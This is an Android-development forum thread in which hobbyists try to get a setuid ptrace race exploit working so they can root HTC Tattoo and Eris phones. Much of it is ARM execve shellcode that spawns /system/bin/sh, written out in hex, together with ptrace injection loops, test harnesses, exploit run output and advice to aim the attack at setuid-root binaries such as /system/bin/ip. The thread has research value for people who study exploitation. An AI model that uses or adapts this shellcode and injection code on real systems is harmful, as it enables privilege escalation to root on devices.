yashsingh1/xdaforums huggingface dataset:
[Click Android Development] zanfur:
Whoops, you're quite right. The Phrack code has a bug, though -- it improperly passes the envp parameter. Here's modified code, to work with /bin/sh:

char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x20\x30\x8f\xe2" /* add r3, pc, #32 (0x20) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x07\x20\xc3\xe5" /* strb r2, [r3, #7] */
"\x08\x30\x8f\xe2" /* add r3, pc, #8 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x08\x20\x8d\xe2" /* add r2, sp, #8 */
"\x0b\x0b\x90\xef" /* swi 0x90ff0b */
"/bin/sh";

Although, this is unnecessary, as you can just modify the reference to strlen in the sploit itself, and the null bytes are fine:

while (i <= 32+strlen(shellcode+32)){
ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
i += 4;
eip += 4;
}

Or you could remove the reference to strlen entirely and just count the number of bytes to send. This part is easy.

FYI, to change the modified Phrack code above to use something different than /bin/sh, change the string at the end and change the byte 21 to be the length of the new string.
[Click Android Development] jamezelle:
this is with the new shellcode, with no modifications to the while loop.

lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002
lo UP 127.0.0.1 255.0.0.0 0x00000049
[ WIN! 10472
Wrote shellcode 9148 line 0
Wrote shellcode 914c line 4
Wrote shellcode 9150 line 8
Wrote shellcode 9154 line 12
Wrote shellcode 9158 line 16
Wrote shellcode 915c line 20
Wrote shellcode 9160 line 24
Wrote shellcode 9164 line 28
Wrote shellcode 9168 line 32
Wrote shellcode 916c line 36
Wrote shellcode 9170 line 40
Wrote shellcode 9174 line 44
Wrote shellcode 9178 line 48
Wrote shellcode 917c line 52
Wrote shellcode 9180 line 56
[ Overwritten 0xb0000100
dummy0 DOWN 0.0.0.0 0.0.0.0 0x00000082
rmnet0 UP 97.145.239.115 255.255.255.248 0x00001043
rmnet1 DOWN 0.0.0.0 0.0.0.0 0x00001002
rmnet2 DOWN 0.0.0.0 0.0.0.0 0x00001002
usb0 DOWN 0.0.0.0 0.0.0.0 0x00001002

it didnt launch the shell though again i changed the shellcode to point to /system/bin/sh
[Click Android Development] bftb0:
Point well taken - the null avoidance thing is more of a requirement for stack overflows, where the victim userspace code is doing a strcpy() or similar into an auto. (There is an additional concern about that Phrack code, too - see below)

Thanks.

Capital idea; i'll try that next.

Hmmm, I thought it stuffed a 0 into (SP+8) and then used that as the pointer for envp[], and the second (null) in the args[] vector... or similar ... I guess I'll double check that too.

The other thing which is rather strange about that Phrack code is the final 'strb' instructions modifies the code in the immediately following instruction. Given that the ARM architecture has the currently executing instructions at PC-8(bytes), it seems very strange - perhaps impossible - that you could do such a thing. (I suppose the orignal intent with the PC-8 design was that fetch & decode are concurrent in a pipeline; I guess it's feasible that opcode target addresses could be checked against in-pipeline address ranges and cause a pipe stall).

bftb0
[Click Android Development] zanfur:
You're nearly correct. It sets r2 (the envp parameter) to 0 with the first instruction, meaning that it's passing a null to execve. Unfortunately, what you need is a pointer *to* the null pointer (at [sp, #8]), not a null itself. This is because the envp pointer it supposed to point to a null-terminated array of pointers. If the envp parameter itself is null, you get a null dereference, and that's just no good.

Regarding the modification of the opcode itself -- you're right, there's an instruction cache, and it's actually something in the kilobytes range (16k, I think). Fortunately, for the imm24 opcodes (ones where there's an immediate value embedded in the instruction itself, such as swi), the immediate value is read as data from memory, not from the cache, so it will work. I'm not entirely certain why, but I suspect it's due to the fact that it's not parsed by the control unit.

In my modified shellcode to fix the envp problem, it's actually modifying [pc, #8], two instructions hence.
[Click Android Development] zanfur:
You need to modify the #7 parameter (byte 26) to be the length of the string you wish to execute. That's where the shellcode puts the null at the end of the string.
[Click Android Development] zanfur:
I've posted a modified exploit, complete with shellcode, to www.zanfur.com/shoryuken.c -- just modify the "/file/to/run" bit, and it will plonk the whole thing, nulls and all. If you wish to modify the shellcode's size, be sure to to change the "32" in the inner loop to the correct size.

Cheers!

-robin
[Click Android Development] jamezelle:
hmmm this isnt compiling

getting this from agcc

jamezelle@jamezelle-laptop:~$ agcc ./desktop/shoryuken.c -o ./desktop/shoryuken
./desktop/shoryuken.c: In function 'main':
./desktop/shoryuken.c:84: error: storage size of 'regs' isn't known
./desktop/shoryuken.c:104: warning: passing argument 3 of 'ptrace' makes pointer from integer without a cast
/home/jamezelle/mydroid/bionic/libc/include/sys/ptrace.h:41: note: expected 'void *' but argument is of type 'int'
./desktop/shoryuken.c:104: warning: passing argument 4 of 'ptrace' makes pointer from integer without a cast
/home/jamezelle/mydroid/bionic/libc/include/sys/ptrace.h:41: note: expected 'void *' but argument is of type 'int'
jamezelle@jamezelle-laptop:~$

the only change i made was "/file/to/run" >> "/system/bin/sh"

the eris doesnt have /bin/sh its in /system/bin/sh
[Click Android Development] HT123:
Still no luck.

I plugged in the shellcode you posted into the exploit.

still no luck.

I run the race and win and get told the injection happens but then nothing.
[Click Android Development] zanfur:
Try this:

char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x20\x30\x8f\xe2" /* add r3, pc, #32 (0x20) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x0e\x20\xc3\xe5" /* strb r2, [r3, #14] */
"\x08\x30\x8f\xe2" /* add r3, pc, #8 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x08\x20\x8d\xe2" /* add r2, sp, #8 */
"\x0b\x0b\x90\xef" /* swi 0x900b0b */
"/system/bin/sh";

The shellcode I posted earlier wouldn't work without modification (as noted in the post). This one should work without modification, assuming you have /system/bin/sh available.

Also, be sure that you're actually using a setuid root binary in the exploit, or it will just spawn a splain old normal shell.
[Click Android Development] Coburn64:
zanfur, could you supply pre-built binaries for us to try? Some people don't have agcc or a arm compiler, but I could try making a script to auto-hack the Tattoo (via adb push and co) for (eventually) a one-click root solution...
[Click Android Development] zanfur:
I'll get one built for you tomorrow. Today I have to spend the rest of the night with my lady, or I'll have hell to pay. Not that I'm complaining about it, mind you...or I'd have hell to pay! ;-)
[Click Android Development] zanfur:
Ping isn't setuid root. It's setgid net_raw. The two setuid root binaries are /system/bin/ip and /system/bin/reboot. I recommend using ip, not reboot...
[Click Android Development] zanfur:
Nope, not counting right. You'll need +44. Although, that particular shellcode should require zero modifications to the exploit -- you can leave the while loop as-is.

Also, you're quite welcome. :-)
[Click Android Development] Erik97:
Compile?

Can somebody please compile this for me?

My linux machine is broken :mad:

/Erik97
[Click Android Development] mainfram3:
I've been toying around mostly with shellcode, since I believe that this is what we're really missing to get the exploit working.

Zanfur, I've tried your shellcode, grafted into the very simple C code bellow, but it doesn't spawn a shell. Also, why are you calling execve as 0x900b0b ? Shouldn't this be 0x90000b ?

#include <stdio.h>
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x20\x30\x8f\xe2" /* add r3, pc, #32 (0x20) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x0e\x20\xc3\xe5" /* strb r2, [r3, #14] */
"\x08\x30\x8f\xe2" /* add r3, pc, #8 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x08\x20\x8d\xe2" /* add r2, sp, #8 */
"\x0b\x0b\x90\xef" /* swi 0x900b0b */
"/system/bin/sh";

int main()
{
((void (*)(void)) & shellcode)();
return 0;
}

Regards,

mf3
[Click Android Development] t33g33:
The code is self-modifying, and patches the '0b'. It's a 0xff in the 'Into my ARM' article.

I've been trying the C-code quick test too, with nothing but segfaults and invalid opcodes to show. I wonder if this will ever work, since the shellcode is in the data segment, not in text (and some setups don't allow execution from data, I think). Even removing most shellcode and leaving one 'sub r2,r2,r2' crashes on invalid instruction.

I thought of using gcc inline assembly, but then there's a problem of getting the '/system/bin/sh' string into the text segment. Could use a bunch of nops as filler, and hack in the string with a hex-editor. :)
[Click Android Development] jamezelle:
well rememeber if your using a tattoo, you would need /bin/sh not /system/bin/sh(thats us eris guys;))
[Click Android Development] batusaix911:
n00b

Hey,

I'll be frank - i can't follow jack **** of what your guys are saying. The only experience I have in programming is a intermediate level in C/C++ ... But I have one thing to ask ... Why is this phone SOO tough to root? The others got rooted quite easily.
[Click Android Development] :
batusaix911 : Excuse me : you do not understand what we are talking about, you have'nt read the previous posts, you are just coming here, to say "What are doing ? You are so slooooow".

right ?
[Click Android Development] HT123:
Seg faults

are you getting a seg fault or an invalid instruction. I get seg faults which leads me to believe that the instructions are gettign executed. If i mess with shell-code i get invalid instruction.

not sure it helps at all but....
[Click Android Development] zanfur:
That gives me an idea. On ARM (at least on Linux), the stack goes "down" ("higher" on the stack means "lower memory addresses"). In the shellcode we've tried thus far, we're writing to 8 bytes above the stack pointer, which might be putting us out of the data segment and causing the segfault. We are, after all, attaching to the setuid binary right when it starts.

So, I've generated some new shellcode that does nothing fancy, no self-modifying code, doesn't even try to avoid null, but just simply sets up the execve call to whatever file you'd like. The only modification necessary to the shellcode is to change the filename string portion; this shellcode isn't self-modifying and therefore doesn't need to know the length of the filename string. Be sure you're not using strlen or strcpy, please count bytes (including the terminating null, which is necessary, it's 29 plus the length of the filename string). Check my work:

ARM assembly:

sub r3, r3, r3 // set r3 = 0
add r0, pc, #20 // r0 = address of string
str r0, [sp, #-8] // put pointer to string at sp-8
str r3, [sp, #-4] // put null pointer at sp-4
sub r1, sp, #8 // r1 = address of string pointer at sp-8
sub r2, sp, #4 // r2 = address of null pointer at sp-4
swi 0x90000b // execve(r0, r1, r2)
.text "/file/to/run"

in binary/hex, the shellcode part of this is (yeah I did all this by hand):

11100000 01000011 00110000 00000011 e0 43 30 03
11100010 10001111 00000000 00010100 e2 8f 00 14
11100101 00001101 00000000 00001000 e5 0d 00 08
11100101 00001101 00110000 00000100 e5 0d 30 04
11100010 01001101 00010000 00001000 e2 4d 10 08
11100010 01001101 00100000 00000100 e2 4d 20 04
11101111 10010000 00000000 00001011 ef 90 00 0b

converting to little-endian, we've got:

char shellcode[] = "\x03\x30\x43\xe0"
"\x14\x00\x8f\xe2"
"\x08\x00\x0d\xe5"
"\x04\x30\x0d\xe5"
"\x08\x10\x4d\xe2"
"\x04\x20\x4d\xe2"
"\x0b\x00\x90\xef"
"/file/to/run"

Also, would somebody please send me the exploit code they actually have working on the phone itself? I'd like to run it, and gather some data on the state of the setuid process using some ptrace calls (see if we're in USR32 mode, Thumb mode, etc -- makes a difference to what shellcode will work).
[Click Android Development] bftb0:
Here's an update from my efforts.

I took mainfram3's suggestion of prototyping shellcode in an app that doesn't rely on ptrace() injection - and carries little risk, since it runs unprivileged.

The good news? Like HT123, I'm able to run shellcode... and a bit more than that: pass values into it, make some simple calcs, and pass values back out to the (shellcode) caller, just as if it were normal subroutine.

Think of that demo as something like

...
scptr = (int (*)(int)) shellcode;
newval = scptr(oldval);
printf("new value is %d\", newval);
...

(Initially, I had problems with "Invalid instructions" and segfaults, but at this point I think that arose from either (1) errors in the bytecode and/or (2) corrupting the stack frame.).

That forced me to understand GNU/ARM stack conventions and write code in assembler. (Whoop-tee-do, I'm an ARM assembly hacker with 3 days experience!)

So, I wrote some code that only has a single segment, and never needs to self-modify (write into it's own pages on the fly). It puts the arguments to execve() (all pointers) in it's own stack frame. Where non-null, those pointers point back to the strings stored in the shellcode segment.

That's the good news; the bad news is that the code flies right by the STI/SVC calls (I get a value of -4 in register r0 as a return... huh?).

BTW, I checked mainfram3's comment about linux-syscalls.h - the base pointer value is contingent on whether or not __ARM__EABI__ is defined - which it appears to be the way I have the toolchain configured.

#if !defined __ASM_ARM_UNISTD_H && !defined __ASM_I386_UNISTD_H
#if defined __arm__ && !defined __ARM_EABI__ && !defined __thumb__
# define __NR_SYSCALL_BASE 0x900000
#else
# define __NR_SYSCALL_BASE 0
#endif

In any event, see for yourself - compile this in your toolchain

#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char **argv) {
#if __arm__
printf("Hey, __arm__ is defined\n");
#else
printf("Hey, __arm__ is NOT defined\n");
#endif

#if __ARM_EABI__
printf("Hey, __ARM_EABI__ is defined\n");
#else
printf("Hey, __ARM_EABI__ is NOT defined\n");
#endif

#if __thumb__
printf("Hey, __thumb__ is defined\n");
#else
printf("Hey, __thumb__ is NOT defined\n");
#endif

#ifdef __NR_SYSCALL_BASE
printf("Value of __NR_SYSCALL_BASE is %d\n", (int) __NR_SYSCALL_BASE);
#endif

return(0);
}

and you will get this from the phone (Eris, anyway):

Hey, __arm__ is defined
Hey, __ARM_EABI__ is defined
Hey, __thumb__ is NOT defined
Value of __NR_SYSCALL_BASE is 0

I suppose that /system/bin/ip could be compiled differently, but since it is a userland app, it doesn't make any sense that it would be.

No matter, it doesn't work for me - at either 0x90000b, or 0x00000b. Crap.

I'll go back and audit my code again; perhaps there is a simple mistake.

Ideas welcome.

bftb0
[Click Android Development] t33g33:
jamezelle: I have a tattoo, with /system/bin/sh, not /bin/sh..

HT123: Invalid instructions. I'm only trying mfr3's function pointer hack to test the shellcode though -- not using any exploit code at all yet.

I was wondering why they do it that way as well, but thought they'd have some clever reason for it :) Another way perhaps would be to not use the stack at all, and add 8 more bytes of spacing to the shellcode to store two pointers..

Regarding your descending stack code (which looks good in disassembly):

#include <stdio.h>

char shellcode[] = "\x03\x30\x43\xe0"
"\x14\x00\x8f\xe2"
"\x08\x00\x0d\xe5"
"\x04\x30\x0d\xe5"
"\x08\x10\x4d\xe2"
"\x04\x20\x4d\xe2"
"\x0b\x00\x90\xef"
"/system/bin/sh";

int main()
{
printf ("start\n");

((void (*)(void)) &shellcode)();

printf ("done\n");
return 0;
}

That klonks out as bad as the others:

~/android/android-sdk-linux_86/tools> adb shell /data/local/shellcode
start
[1] Segmentation fault /data/local/shel...

.. but perhaps this whole testing method is just flawed. If only there was a single-step debugger.

(Ah, I only now notice that it's a segfault, not an invalid instruction)
[Click Android Development] bftb0:
Me too. (Although I did for a while until it became apparent that mfr3's suggestion was very well advised.) No joy so far getting a shellcode-launched execve() without any forking, ptraceing, or waiting. :(

The only thing about the quick and dirty shellcode - whether running it on a ptrace()'d child or in your own process - is that it creates no stack, nor a means to return cleanly to the caller... so, without a debugger, you can't tell if your shellcode failed, or the call to the kernel failed - the shellcode "falls right off the end" which is sure to create a fault - and there's no way to tell if the fault came from an injection error or a failure to launch.

I can see what zanfur is concerned about with the ptrace() race: we're catching the process really early, probably in a dynamic linker syscall, and there may be precious few stack frames above the intercept point.

I've got some shellcode running, and returning cleanly to it's caller - and right in the middle of it is either

swi 0x90000b (or swi 0x00000b)

runs right through that code like butter. Crap.

BTW, in some early experiments, I tried SINGLESTEP in ptrace() on the privileged child - the ptrace() call fails. I don't know if that is due to some security countermeasures with setuid apps, or simply a matter that the ptrace() attachment happens inside a syscall().

Anyway, just like mfr3's suggests ... I'm not going to fool with that until I can execve() from shellcode in a more controlled situation.

greets

bftb0
[Click Android Development] zanfur:
I'm pretty sure you'd get an invalid instruction, not a segfault, if you hit the filename and attempted to parse it as an instruction...but I'm not sure. I'll go check that.

I'm also trying to get the shellcode working in a more controlled environment. I'll let you guys know of my results.
[Click Android Development] zanfur:
I have working shellcode

I can successfully exec another program from shellcode. Testing it in the exploit now.
[Click Android Development] svprm:
Thanks all for working for tattoo.

I think soon tattoo will rooted.

all the Best to all.

Waiting.......
[Click Android Development] bftb0:
Got mine working, too.

There was a twisty bit of infomation buried deep inside the code - not in the NDK, and not in HTC kernel code either. Glad you found it ... it took a bit of a hunt, eh?

Check the return from ptrace() during your POKEs - is it working, or throwing an error?

No joy there for me.

btfb0
[Click Android Development] zanfur:
I got the injection working, and it spawns a shell. That shell, however, is *not* a root shell.

When you run the exploit, and it claims to have attached to the suid process, have you done a ps listing to see if it's actually owned by root? What happens for me is that attaches, but when I look at it in ps I see that it's still running as "shell", not as "root". This is regardless of the shellcode.

The original, x86 shellcode runs the break(0), setuid16(0), and execve("/bin//sh", { "/bin//sh", NULL }, {"/bin//sh", NULL }). The first two syscalls are actually unimplemented in the 2.6.29 kernel, for both x86 and ARM -- the code is literally a simple "return -ENOSYS;".

I'd like to try attaching, setting a breakpoint, continuing, then injecting and see if that actually works, instead of going straight into the exec. I wonder if that's what the nops are for. Or perhaps the exploit is intentionally just giving us hints, and those unimplemented syscalls are not the ones that actually work.

Has anyone actually had this work under x86? Anyone have a 2.6.29 x86 kernel they can compile and test it on?
[Click Android Development] zipredictive:
thank you so much for ur hard work guys.... ;)
[Click Android Development] HT123:
Code

Can you two please post the code. I am at work and cant do much until later and who knows, you may have it done by then but i would still like to take a look at the working shell code.
[Click Android Development] -bm-:
I set up an Ubuntu with vanilla 2.6.29 quickly. I compiled the original shoryuken.c with gcc4.3 (4.4 quits with an error). Oh wait, I had to change #include <linux/user.h> to sys/user.h, because gcc complains not to finde linux/user.h

I verified that mount is setuid and that /bin/sh is there. I ran shoryuken as suggested in its sourcecode, some text from mount scrolls by, after 10 seconds I got "WIN", but guess what: No shell came up. I had to terminate the process with ^C to be able to run any command.

Hope that helps.

Bastian
[Click Android Development] zifnab06:
I'm cheering for you guys!

I have tests at school all week, i'll be around to help afterwards.

Just a thought - look into pulling the stack down, disassembling the byte code into something readable, and then injecting your shell into an already-running root process? (Or is that what this does?) I won't have time to look at any of this until thursday night probably :( Good luck!